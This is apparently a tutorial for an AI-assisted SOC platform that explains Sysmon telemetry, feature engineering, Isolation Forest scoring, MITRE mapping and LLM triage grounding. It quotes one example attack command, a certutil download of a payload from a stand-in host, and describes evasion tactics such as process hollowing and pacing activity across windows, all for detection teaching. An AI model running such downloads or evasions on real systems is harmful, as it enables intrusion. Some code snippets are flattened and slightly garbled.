
title: "AI SOC Platform — Domain Tutorial"
subtitle: "What this system is detecting and why — a security-engineering tour"
date: "2026-07-09"

AI SOC Platform — Domain Tutorial

What this system is actually detecting and why. Every concept is grounded in the codebase, but this is a security-engineering tour, not a code walkthrough. For file locations and architecture, see `CODEBASE_GUIDE.md`.

1. What Even Is a SOC, and What Problem Are We Solving?

The SOC

A **SOC** (Security Operations Center) is the team in a company whose job is to answer one question 24/7: *are we being hacked right now?*

They sit in front of screens watching alerts stream in from computers across the organization. Their job is to separate the 3 real incidents from the 10,000 false alarms, triage them, and coordinate a response.

The SIEM

A **SIEM** (Security Information and Event Management) is the software the SOC uses. Think of it as a giant searchable logbook with a rule engine on top. Every computer, server, and network device in the company ships its logs to the SIEM. The SIEM stores them and lets you write rules like:

"If anyone logs in from a foreign country at 3am, raise an alert."

In this project, the SIEM is **Wazuh** (free, open-source, running in Docker). It receives logs from a sensor called **Sysmon** on a Windows machine.

What Makes a SIEM Different

System	What It Does	Analogy
--------	--------------	---------

SIEM (Wazuh)	Collects logs from everywhere, runs rules, raises alerts	The central nervous system
EDR (CrowdStrike, Defender)	Deep visibility on a single endpoint — can kill processes, quarantine files	A security camera with a taser
XDR	EDR extended across email, cloud, network	Surveillance across the whole building
SOAR	Automates the response: "if this alert → run that playbook"	The autopilot that executes the runbook

This project layers an SIEM (Wazuh) with custom ML and an LLM — it's a DIY detection-and-triage pipeline, not a full SOAR.

The Problem: Alert Fatigue

Here's the dirty secret of every SOC: **most alerts are garbage**. A busy SIEM fires thousands of alerts a day. A human analyst can triage maybe 50–100. The rest sit unread. Attackers know this — they hide in the noise.

A classic example: Wazuh has a rule that fires when an executable is dropped into a "suspicious" folder. Severity: 15 out of 15. The problem? Developer tools like `npm install` or `pip` do this *all the time*. The rule fires constantly on normal behavior. After the 50th false positive, the analyst tunes it out. That's how real breaches get missed.

This Repo's Thesis

This project's answer: **don't trust a single signal — require two opinions to agree before you escalate**.

- **Opinion 1 (Wazuh rules):** "This matches a known-bad pattern."
- **Opinion 2 (ML anomaly detection):** "But is this actually unusual *for this specific machine?*"

The two opinions meet in the fusion layer (`alert_fusion.py`). The rule: a loud Wazuh alert with a *normal* ML score is only **MEDIUM** — investigate, don't page. HIGH/CRITICAL requires both the rule AND the behavioral anomaly to agree. Then an LLM reads the surviving alerts and writes a plain-English ticket.

The net effect: 10,000 raw rule fires becomes maybe 20 alerts worth a human's attention.

The End-to-End SOC Flow

```
raw log → parse → normalize to a common schema → enrich with threat intel → detection rule → alert → analyst triage → escalate/close
```

Every stage feeds the next. Garbage in, garbage out is the iron law of detection engineering — if your log parsing is wrong, your detection rules are useless. We'll trace this chain through the actual codebase.

2. Telemetry: What Your Computer Is Telling the SOC

Every detection starts with a log. Let's understand what logs this system consumes and what each one can (and can't) see.

Sysmon — The Sensor on the Endpoint

Sysmon (System Monitor) is Microsoft's free Windows sensor, part of the Sysinternals suite. Once installed, it hooks deep into the Windows kernel and emits detailed events for:

Event ID	Name	What It Sees	Example
1	Process Creation	Every program that starts	cmd.exe spawned by WINWORD.EXE
3	Network Connection	Every outbound TCP/UDP connection	powershell.exe → 198.51.100.7:443
22	DNS Query	Every domain name lookup	malware-c2.example.com

These three event IDs are the raw material for the entire ML pipeline. The ingestion code has specific methods for each:

```
# From indexer_client.py - the three data taps
fetch_sysmon_process_events(start, end) # EID 1
fetch_sysmon_network_events(start, end) # EID 3
fetch_sysmon_dns_events(start, end) # EID 22
```

What Each Source Can (and Can't) See — The Blind Spots

Process Events (EID 1)

What they see: every program that starts, including the full command line, the parent process, and the user who ran it. This catches "Word spawned PowerShell" — a classic phishing chain where a malicious macro in a Word document launches PowerShell to download the real payload.

Evasion techniques:

- **Process hollowing:** start a legitimate process (e.g., `svchost.exe`), then replace its memory with malware. Sysmon sees `svchost.exe` starting — totally normal. The malware runs inside it, invisible to process-creation telemetry.
- **LOLBins** (Living Off the Land Binaries): use built-in, trusted Windows tools like `mshta.exe`, `certutil.exe`, or `rundll32.exe`. These are *supposed* to run, so they don't look suspicious. `certutil.exe -urlcache -f http://evil.com/payload C:\temp\bad.exe` downloads malware using a legitimate certificate utility.

Network Events (EID 3)

What they see: the source process, destination IP, and destination port for every outbound connection. Catches malware phoning home to a C2 server.

Critical blind spot: Sysmon EID 3 does **not** record how many bytes were sent. You can see a connection happened, but not whether it was a tiny heartbeat or a massive data exfiltration. The `network_features.py` file honestly documents this:

"Sysmon does NOT record byte volumes, so these are connection- and DNS-shaped, not flow-volume, features."

To get byte volumes you'd need a network sensor like **Suricata** (network IDS) or **Zeek**. This repo doesn't have one. An attacker exfiltrating data slowly over many small connections would blend in completely.

DNS Events (EID 22)

What they see: every domain name the machine resolves. Almost every malware family needs DNS to find its C2 server, making DNS telemetry surprisingly powerful.

Evasion techniques:

- **DNS over HTTPS (DoH):** encrypts DNS queries so they look like regular web traffic. The machine resolves `evil-c2.com`, but Sysmon sees nothing because the DNS lookup happened inside an encrypted HTTPS tunnel.
- **Hardcoded IPs:** skip DNS entirely. The malware connects directly to `198.51.100.7` with no prior DNS lookup. No EID 22 event is generated.
- **Public DNS services:** use `8.8.8.8` (Google DNS) or `1.1.1.1` (Cloudflare). DoH to a well-known IP looks identical to normal web browsing.

The Wazuh Datastore: Two Indexes, Two Purposes

Wazuh stores events in **OpenSearch** (an open-source search engine, forked from Elasticsearch). There are two "indexes" (think: database tables optimized for search):

- **wazuh-alerts-*** — only events that matched a Wazuh rule. This is the "known-bad" signal: Wazuh's rule engine has already decided something looks suspicious.
- **wazuh-archives-*** — **everything**. Every process start, every network connection, every DNS query. This is what the ML model learns "normal" from.

This distinction is critical: you can't learn what's anomalous if you only train on alerts. You need the full firehose of normal, boring activity. That's why the archives index exists — it's the training data for the anomaly detector.

Other Log Sources (Not Used Here, But Relevant)

A real enterprise SOC collects many more log sources than this project does:

Source	What It Sees	What This Repo Misses
Windows Security Logs	Logins, privilege changes, audit policy	Lateral movement, privilege escalation
Proxy/Web Logs	Every URL visited, user-agent strings	Web-based attacks, data exfil via HTTP
Cloud Audit Logs (CloudTrail)	Every AWS API call	Cloud infrastructure attacks
Identity/Auth Logs (Azure AD)	Logins, MFA events, suspicious sign-ins	Credential stuffing, impossible travel
NetFlow/IPFIX	Flow summaries: src, dst, bytes, duration	Traffic volume anomalies, exfiltration

Each source has its own blind spots. Good detection engineering layers multiple sources so you can see around the gaps. This repo uses only Sysmon — it's a deliberately simplified foundation.

3. The Data Pipeline: Log → Number → Alert

Let's trace one 10-minute window of a machine's life through the entire system.

Step 1: Ingestion — Pulling Raw Events

The pipeline starts by querying the Wazuh datastore for raw Sysmon events within a time range. The `IndexerClient` wraps the OpenSearch query language (JSON-based, not SQL) into clean Python methods:

```
# What run_pipeline.py actually does
process_events = client.fetch_sysmon_process_events(start, end)
network_events = client.fetch_sysmon_network_events(start, end)
dns_events = client.fetch_sysmon_dns_events(start, end)
```

The output is a **pandas DataFrame** — a spreadsheet-like table where every row is one event, and columns include things like `data.win.eventdata.image` (the executable path), `data.win.eventdata.commandLine` (the full command), `agent.name` (the hostname), and a `timestamp`.

Known limitation: there's a 10,000-event cap per query. On a busy machine, a day of archives can exceed this. The code has a TODO about using the scroll/PIT API instead.

Step 2: Windowing — Chopping Time Into Buckets

Before the ML model can work, events must be grouped into time buckets. This gives us the critical abstraction: **the window**.

A **window** is a fixed 10-minute slice, keyed by `(host, window_start)`. All events from 10:00:00 to 10:09:59 get grouped together. Why 10 minutes? It's a tradeoff:

- Too short (1 minute): sparse data, noisy scores
- Too long (1 hour): an attacker can do a lot of damage before you notice
- 10 minutes: enough events for statistical stability, fast enough for near-real-time

The window concept lives in `features/windows.py`. The key operation is "flooring" timestamps to their bucket:

```
# 10:07:23 and 10:03:45 both floor to 10:00:00
events["window_start"] = events["timestamp"].dt.floor("10min")
```

Everything downstream — features, ML scoring, fusion, alerts — uses `(host, window_start)` as its primary key.

Step 3: Feature Engineering — Logs → Numbers

This is where domain knowledge becomes math. The feature extractors turn thousands of raw event rows into a table with **one row per window** and columns of numbers the ML model can consume. Each number encodes a behavioral signal that a security analyst would look for.

Process Features (8 columns from EID 1)

proc_count — total processes created in the window.

Security intuition: a machine that normally starts 50 processes suddenly starting 500 could be a fork bomb, a cryptominer spawning workers, or an attacker spraying tools.

ps_count — how many of those were script hosts: powershell.exe, cmd.exe, wscript.exe, cscript.exe, mshta.exe.

Security intuition: these are the interpreters attackers love — built into Windows, trusted, and powerful. A spike in PowerShell launches from an unexpected parent (like Microsoft Word) is the classic signature of a macro-based phishing attack. The victim opens a malicious Word doc, the macro runs, and Word spawns PowerShell to download the payload.

```
SCRIPT_HOSTS = {"powershell.exe", "pwsh.exe", "cmd.exe", "wscript.exe", "cscript.exe", "mshta.exe"}
```

encoded_cmd — count of command lines that look obfuscated. Two checks:

(1) does the command contain -enc, -EncodedCommand, or -e flags? These are PowerShell's "execute this base64 blob" flags. (2) Is the Shannon entropy above 5.5 bits/character?

Shannon entropy measures "randomness." Normal English text has entropy around 4.0–4.5 bits/char. Base64-encoded binary blobs have entropy around 5.5–6.0 bits/char (close to the theoretical maximum of 6.0 for base64). So a command line with entropy of 5.8 is almost certainly an encoded payload, even if the attacker didn't use the -enc flag explicitly.

```
ENTROPY_THRESHOLD = 5.5 # base64 blobs run >= 5.5 def command_line_entropy(cmdline: str) -> float: counts = Counter(cmdline) total = len(cmdline) return -sum((c / total) * math.log2(c / total) for c in counts.values())
```

Evasion: a clever attacker can stay below 5.5 by padding with low-entropy text or using alternative encodings (hex, custom XOR). This feature catches lazy attackers and off-the-shelf tools, not careful adversaries.

rare_proc_score — mean rarity of executable names in the window, relative to this host's history. A machine that normally runs chrome.exe, code.exe, python.exe suddenly running rundll32.exe (a LOLBin often abused) would spike this.

```
rarity = 1.0 - (how many times this image appeared / host's most common image count)
```

new_parent_child — count of (parent, child) process pairs never seen before on this host. If WINWORD.EXE has never spawned cmd.exe before, and suddenly it does — that's a new pair and gets counted. This catches unusual execution chains that may indicate process injection or exploitation.

burst_rate — maximum process creations in any 1-minute sub-bucket. If a tool spawns 30 processes in one minute and then goes quiet, proc_count is 30 but

`burst_rate` is also 30 — the concentration is the signal. Catches tool spraying.

Network Features (7 columns from EID 3 + EID 22)

`net_conn_count` — total outbound connections.

`distinct_dest_ips` — unique destination IPs.

Security intuition: normal browsing hits maybe 10–20 distinct IPs in 10 minutes.

A port scanner or C2 spreader hits hundreds. But BitTorrent and video conferencing also produce many distinct IPs — false positive risk.

`external_conn_count` — connections to public internet (not 10.x, 192.168.x, etc.). An attacker's C2 is almost always external.

```
def is_external_ip(ip: str) -> bool: a = ipaddress.ip_address(str(ip).replace("::ffff:", ""))
return not (a.is_private or a.is_loopback or a.is_link_local or a.is_multicast or a.is_reserved
or a.is_unspecified)
```

False positive trap: connections to 8.8.8.8 (Google DNS) or 1.1.1.1 (Cloudflare) are external but normal. A real SOC would maintain an allow-list of known-good external IPs. This code doesn't — an attacker could also exfiltrate to Google Drive, blending into normal cloud traffic.

`distinct_dest_ports` — unique destination ports. Catches port scanning.

`dns_query_count` — total DNS lookups in the window.

`distinct_domains` — unique domains queried. An attacker using DNS tunneling may query thousands of unique subdomains.

`max_dns_entropy` — highest domain-name entropy in the window. This is the **DGA detector**.

DGA (Domain Generation Algorithm): many malware families don't hardcode their C2 domain. Instead, they use an algorithm that generates a new domain every day based on the current date — e.g., x7f3k9qz2m.com. These domains look like random strings and have high entropy. The defender would need to reverse-engineer the algorithm to predict and block tomorrow's domain. The entropy-based detector catches the *pattern* without knowing the algorithm. A DGA domain like x7f3k9qz2m.com has much higher character randomness than github.com.

Evasion: a DGA that generates low-entropy domains using dictionary words (e.g., red-sky-morning.com) would slip past this entirely. This is a known limitation of entropy-based DGA detection.

Step 4: ML Scoring — Is This Window Weird?

The `combined.py` module merges process + network features into one 15-column row per window. The ML model (`isolation_forest.py`) scores each window 0.0 (totally normal) → 1.0 (very anomalous).

Isolation Forest — The Algorithm

An **unsupervised** anomaly detector. You train it on only "normal" data — a week of your machine doing normal things. No labels needed. At scoring time, the forest asks: "how easily can I isolate this point?"

Intuition: make random splits of the data. Points in dense clusters need many splits to isolate (they're normal). Points sitting alone get isolated in very few splits — they're anomalous. The fewer splits needed, the higher the anomaly score.

Why unsupervised? Because you can't label a week of your own activity by hand. "Labeling normal" is effectively free — just record everything.

```
def score(self, features: pd.DataFrame) -> np.ndarray: raw =
self._model.score_samples(self._scaler.transform(features)) span = self._smax - self._smin + 1e-9
return np.clip((self._smax - raw) / span, 0.0, 1.0)
```

Critical design choice — stable normalization: the code normalizes against the *training* score range (`_smin/_smax`), not the current batch. So a given window always gets the same score whether it's in a batch of 10 or 10,000. Without this, a mildly anomalous window could get a high score just because its batch contained no very anomalous windows.

Feature Explanation — "Why Is This Window Anomalous?"

Isolation Forest doesn't natively explain itself. The code provides a simple, honest approximation using z-scores against the training baseline:

```
def top_contributing_features(self, window, k=3) -> List[str]: x =
window[self._feature_names].to_numpy(dtype=float) z = np.abs((x - self._scaler.mean_)
self._scaler.scale_ + 1e-9)) order = np.argsort(z)[::-1][:k] return [self._feature_names[i] for
in order if z[i] > 0]
```

Each feature's value is compared to its training mean. The features furthest from normal (in standard deviations) are reported as `top_features`. These drive both the MITRE ATT&CK mapping and the LLM copilot's context.

Step 5: The Baseline — "Weird for YOU or Weird for EVERYONE?"

A raw anomaly score of 0.6 is meaningless in isolation. The **BaselineStore** (`detection/baseline.py`) answers: "0.6 is higher than what percentage of this host's historical scores?"

It's a SQLite database tracking every anomaly score ever recorded per host:

```
def percentile(self, entity: str, score: float) -> float: """Fraction of the entity's historical
scores at or below score , *100.""" total, below = c.execute( "SELECT COUNT(*), SUM(CASE WHEN
score <= ? THEN 1 ELSE 0 END) ...", (float(score), entity), ).fetchone() return 100.0 * below /
total
```

If 0.6 is higher than 97% of everything this host has ever scored, that's a 97th percentile — potentially worth alerting. If the host often scores 0.4–0.7 because it's a busy dev machine, 0.6 is the 60th percentile — probably fine.

Smart guard: a brand new host with no history returns a neutral 50 (not 100). Treating a first-seen entity as maximally anomalous would be a guaranteed false positive on every new deployment.

```
NEUTRAL_PERCENTILE = 50.0
```

4. Detection Engineering: The MITRE ATT&CK Framework

What Is MITRE ATT&CK?

MITRE ATT&CK is the industry's shared language for describing attacker behavior. Instead of saying "the attacker used some kind of scripting thing," you say "T1059.001 — PowerShell." Every technique has an ID, a name, and a **tactic** (the attacker's high-level goal).

The tactics trace the full **kill chain**:

Tactic	What the Attacker Is Doing	Example Technique
Initial Access	Getting in	T1566 — Phishing
Execution	Running code	T1059.001 — PowerShell
Persistence	Staying in after reboot	T1547.001 — Registry Run Keys
Privilege Escalation	Getting admin rights	T1068 — Exploitation
Defense Evasion	Avoiding detection	T1027 — Obfuscated Files
Credential Access	Stealing passwords	T1003 — OS Credential Dumping
Discovery	Mapping the network	T1082 — System Info Discovery
Lateral Movement	Spreading to other machines	T1021 — Remote Services
Collection	Gathering data to steal	T1005 — Data from Local System
Command and Control	Phoning home	T1071 — Application Layer Protocol

Exfiltration	Stealing data out	T1041 — Exfil Over C2 Channel
Impact	Destroying/disrupting	T1486 — Data Encrypted (Ransomware)

How This Repo Maps to MITRE

The mapping (`enrichment/mitre.py`) is deliberately coarse — feature patterns map to candidate techniques, not confirmed ones:

```
FEATURE_TECHNIQUE_MAP = { "encoded_cmd": MitreTechnique(id="T1059.001", name="PowerShell",  
tactic="Execution"), "max_cmd_entropy": MitreTechnique(id="T1027", name="Obfuscated Files",  
tactic="Defense Evasion"), "max_dns_entropy": MitreTechnique(id="T1568.002", name="DGA",  
tactic="Command and Control"), "external_conn_count": MitreTechnique(id="T1071",  
name="Application Layer Protocol", tactic="Command and Control"), # ...
```

The comment says it best: *"Deliberately coarse — the point is to give the copilot and analyst a starting hypothesis, not a verdict."*

A high-entropy command line *could* be obfuscation (T1027), but it could also be a long base64-encoded config file. The MITRE tags are hints, not conclusions.

Signature vs. Anomaly Detection

Approach	How It Works	Strength	Weakness
Signature (Wazuh rules)	"If field X equals value Y, alert"	Low false positives for known patterns	Misses anything novel
Anomaly (Isolation Forest)	"If behavior deviates from baseline, flag it"	Catches novel attacks	Higher false positives

A signature says: "I know what bad looks like." An anomaly detector says: "I know what normal looks like, and this isn't it." A good SOC layers both — which is exactly what this repo does.

5. The Fusion Layer: Where Decisions Happen

This is the most important ~80 lines in the codebase. `enrichment/alert_fusion.py` implements the alerting policy that combines the two detection signals.

The Alerting Policy (in Plain English)

```
for each (host, window): 1. Is there a wazuh rule alert at level ≥ 7? → significant rule present
2. Is the ML score above this host's 95th percentile? → ML anomalous 3. Is there corroboration
+ any rule alert present, OR this host has been anomalous for 3+ consecutive windows if
(significant rule) OR (ML anomalous AND corroborated): Emit an EnrichedAlert Severity: Both
significant + ML anomalous → CRITICAL (rule ≥ 12) or HIGH Only one signal → MEDIUM Neither → LOW
```

The Severity Logic (in Code)

```
def heuristic_severity(rule_alerts, ml, ml_anomalous) -> Severity: max_level = max((ra.level for
ra in rule_alerts), default=0) significant = max_level ≥ 7 if significant and ml_anomalous:
Return Severity.CRITICAL if max_level ≥ 12 else Severity.HIGH if significant or ml_anomalous:
Return Severity.MEDIUM return Severity.LOW
```

This is the whole thesis in 8 lines. A Wazuh rule at level 15 with a normal ML score? MEDIUM. Because `npm install` triggers that rule 50 times a day on a dev machine. The ML says "nothing to see here" — the rule is just noisy.

The Streak Tracker

What if the ML sees something suspicious but no Wazuh rule fires? The `fuse_stream` function tracks consecutive anomalous windows per host:

```
streak[host] = streak.get(host, 0) + 1 if anomalous else 0 ml_corroborated = streak[host] >
CONSECUTIVE_WINDOWS_FOR_ML_ONLY #
```

A sustained ML deviation across 3+ consecutive windows counts as self-corroboration even without a rule. This catches slow, stealthy attackers who stay below any single rule's threshold.

Evasion: an attacker who knows the system uses 10-minute windows and a 3-window streak threshold can pace their activity — do one suspicious thing every 11 minutes, and the streak resets. Real SOCs use multiple window sizes concurrently.

6. Networking: Just Enough to Read the Detections

TCP/IP in One Paragraph

When a program wants to talk to another computer, it opens a **connection** to an **IP address** on a **port**. An IP identifies the machine; a port identifies the specific program on that machine (443 = HTTPS, 22 = SSH, 3389 = RDP/Remote Desktop).

The `distinct_dest_ports` feature catches port scanning — an attacker probing many ports looking for open ones. A normal process talks to ports 443 and 80; a scanner

might touch 50+ unique ports.

DNS in One Paragraph

When you type `github.com`, your computer asks a DNS server: "what's the IP?" The server replies, and your browser connects. Sysmon EID 22 records every lookup.

Malware almost always uses DNS to find its C2 server. `max_dns_entropy` catches randomly-generated C2 domains (DGA). `dns_query_count` and `distinct_domains` catch DNS tunneling — smuggling data inside DNS queries, which firewalls rarely block.

Beaconing — The Telltale Heartbeat

Malware phoning home often does so on a regular schedule — every 60 seconds, every 5 minutes. This is called **beaconing**. A human browsing the web produces irregular, bursty connection patterns. A piece of malware checking in produces a clock-like rhythm.

This repo doesn't explicitly detect beaconing (it would need frequency-domain analysis or autocorrelation features), but the `burst_rate` and `external_conn_count` features would pick up the *volume* of a beacon if it's rapid enough.

Normal vs. Malicious Traffic — A Side-by-Side

Normal	Malicious
Steady DNS to known domains	Bursts of high-entropy DGA domains
Connections to CDNs and SaaS	Connections to bare IPs on unusual ports
Process trees: <code>explorer → browser</code>	Process trees: <code>Word → PowerShell → cmd</code>
Command lines: short, readable	Command lines: long, encoded, high-entropy
Activity during work hours	Activity at 3am from an idle machine

7. Alerting, Triage, and Incident Response

The EnrichedAlert — Everything in One Object

This is the central object everything in the pipeline exists to build:

```
class EnrichedAlert(BaseModel): alert_id: str # unique ID, auto-generated host: str # which
machine window_start: datetime # which 10-minute window detected_behavior: str # one-line human
summary rule_alerts: list[RuleAlert] # Wazuh rule hits ml: Mldetection | None # ML score + top
features mitre: list[MitreTechnique] # merged from rules + ML severity: Severity | None #
LOW/MEDIUM/HIGH/CRITICAL
```

IOC vs TTP — Two Kinds of Threat Intel

IOC (Indicator of Compromise): a specific artifact you can block — an IP, a file hash, a domain. Block `198.51.100.7` and you've stopped *one* server. But IOCs rot quickly — attackers change IPs constantly.

TTP (Tactics, Techniques, and Procedures): *how* the attacker operates — they use encoded PowerShell to download payloads, they use WMI for lateral movement. Block PowerShell encoding and you've stopped an entire *class* of attacks. TTPs are harder to change (attackers retool slowly) but harder to detect.

This project handles both: IOCs come from the copilot's grounded extraction. TTPs come from the MITRE ATT&CK mapping.

IOCs have a short shelf life. TTPs have a long one. A good analyst cares about both.

The IR Lifecycle

When an alert is confirmed real, the SOC follows:

1. **Detect** — the alert fires (what this repo does)
2. **Triage** — is this real? (what the copilot helps with)
3. **Contain** — disconnect the machine, block the IP
4. **Eradicate** — remove the malware, close the backdoor
5. **Recover** — restore from clean backups
6. **Learn** — what did we miss? Improve detections

This system handles steps 1–2. Steps 3–6 are human territory — the copilot suggests containment steps but doesn't execute them.

8. The Copilot: An AI Analyst That Can't Hallucinate

How It Works

1. The `EnrichedAlert` is serialized to JSON
2. Sent to a local LLM via **Ollama** (runs models locally, no cloud API)

3. The LLM is **constrained** to return JSON matching the `CopilotAnalysis` schema — guaranteed parseable, not free-form prose
4. The reply is validated by pydantic
5. Then the critical step: **grounding**

Grounding — The Anti-Hallucination Pattern

LLMs hallucinate. In a security tool, a made-up IP address is dangerous. The grounding logic (`analyst.py`) ensures every IOC in the output actually exists in the input alert:

```
def resolve_iocs(analysis: CopilotAnalysis, alert: EnrichedAlert) -> list[str]: alert_text =  
alert.model_dump_json() resolved = alert_iocs(alert) # deterministically extracted for ioc in  
analysis.iocs: if ioc and ioc in alert_text and ioc not in resolved: resolved.append(ioc) # only  
add if literally present return resolved
```

The deterministic IOCs come straight from the alert structure — hostname, user, rule IDs, `.exe` names from the behavior description. These are always reliable. Then, any IOC the LLM cited is checked: does this string literally appear anywhere in the alert JSON? If not, **it's dropped**.

The code's comment says it directly: *"a wrong IOC is worse than a missing one."*

Imagine the damage if the copilot hallucinated `192.168.1.100` and an analyst blocked it — they might block their own printer. Or an invented file hash sends an engineer hunting for nonexistent malware.

Facts vs. Prose

The incident report (`copilot/report.py`) follows the same philosophy: every factual section — timeline, IOC list, MITRE table — is built **deterministically** from the data. The LLM is used ONLY for the prose summary. Facts the model can't touch can't be hallucinated.

9. Evaluation: Honest Assessment of Detection Quality

Metrics That Matter

The evaluation script (`scripts/evaluate.py`) uses threshold-free metrics:

- **ROC-AUC:** "Given a random attack window and a random normal window, does the model rank the attack higher?" 1.0 = perfect, 0.5 = guessing.
- **PR-AUC (Precision-Recall):** in imbalanced data (far more normal than attack windows), how well does the model find rare attacks without crying wolf?

These are threshold-free because you can't game them by picking a favorable cutoff.

Precision and Recall — The Fundamental Tradeoff

- **Precision** = of the alerts you raised, how many were real?
- **Recall** = of the real attacks, how many did you catch?

You can trivially get 100% recall by alerting on *everything* — but precision drops to near zero. You can get 100% precision by only alerting on absolute certainties — but recall drops near zero. The art of detection engineering is finding the operating point where you catch enough real attacks without drowning in noise.

The fusion layer's policy of requiring two signals to agree biases toward **precision** (fewer false positives) at the cost of **recall** (potentially missing novel attacks that don't trigger any Wazuh rule). This is a deliberate choice for a system designed to reduce alert fatigue.

Known Blind Spots and Evasions

Every detection system has gaps. Here are the ones in this codebase:

Fixed 10-minute windows. An attacker pacing activity across boundaries (10:09, then 10:11) stays below threshold in each window. Real SOCs use rolling windows at multiple granularities.

No byte-volume features. Sysmon doesn't record bytes transferred. Slow data exfiltration over many small connections looks normal.

10k event cap. The indexer has a hard limit. A busy machine exceeds this easily. The code has a TODO about it.

No time-of-day features. If the model is trained on daytime activity, 3am activity flags as anomalous — possibly correct but not necessarily malicious.

DGA evasion. Dictionary-word DGA domains (e.g., `red-sky-morning.com`) have low entropy and slip past the detector entirely.

No cross-host correlation. Three machines all beaconing to the same IP is a much stronger signal than one. This system treats hosts independently.

Simulated ≠ real. Evaluation labels come from scripted attacks (Atomic Red Team). A patient, novel attacker would look very different.

Log source tampering. An attacker with admin rights can stop Sysmon, clear event logs, or kill the Wazuh agent. The system goes blind silently.

No heartbeat monitoring. There's no check that alerts when a host stops sending logs — the absence of telemetry is itself a signal.

A good SOC layers dozens of detection pipelines. This project layers three (rules + ML + LLM), which is better than any one alone. But it's still a controlled experiment, not a production-grade SOC.

10. Key Concepts Glossary

Term	Definition
SOC	Security Operations Center — the team watching for attacks
SIEM	Security Information and Event Management — the central logbook + rule engine
EDR	Endpoint Detection and Response — deep visibility + response on one machine
Sysmon	Microsoft's free Windows sensor for process, network, and DNS events
EID	Event ID — the number identifying the type of Sysmon event (1, 3, 22)
Window	A 10-minute time bucket — the unit of ML analysis
Feature	A number summarizing behavior in a window (e.g., max_dns_entropy)
Isolation Forest	Unsupervised anomaly detector trained only on "normal" data
Baseline Percentile	How unusual a score is for that specific host
Fusion	Combining rule alerts + ML score into one decision
EnrichedAlert	The central object carrying everything about one detection
MITRE ATT&CK	The standard catalog of attacker techniques
Kill Chain	The sequence of phases in an attack, from initial access to impact

IOC	Indicator of Compromise — a specific, blockable artifact (IP, hash)
TTP	Tactics, Techniques, Procedures — <i>how</i> an attacker operates
DGA	Domain Generation Algorithm — malware that generates random C2 domains
LOLBin	Living Off the Land Binary — a trusted Windows tool abused by attackers
Entropy	Measure of randomness — high entropy suggests encoding or obfuscation
Grounding	Dropping any LLM output not literally present in the input
False Positive	Alert on benign activity — the enemy of analyst attention
False Negative	Missed attack — the enemy of security
Beaconing	Regular, clock-like C2 check-ins — a telltale malware signal
Ollama	Tool for running LLMs locally — the copilot's engine
OpenSearch	The search-engine database Wazuh stores events in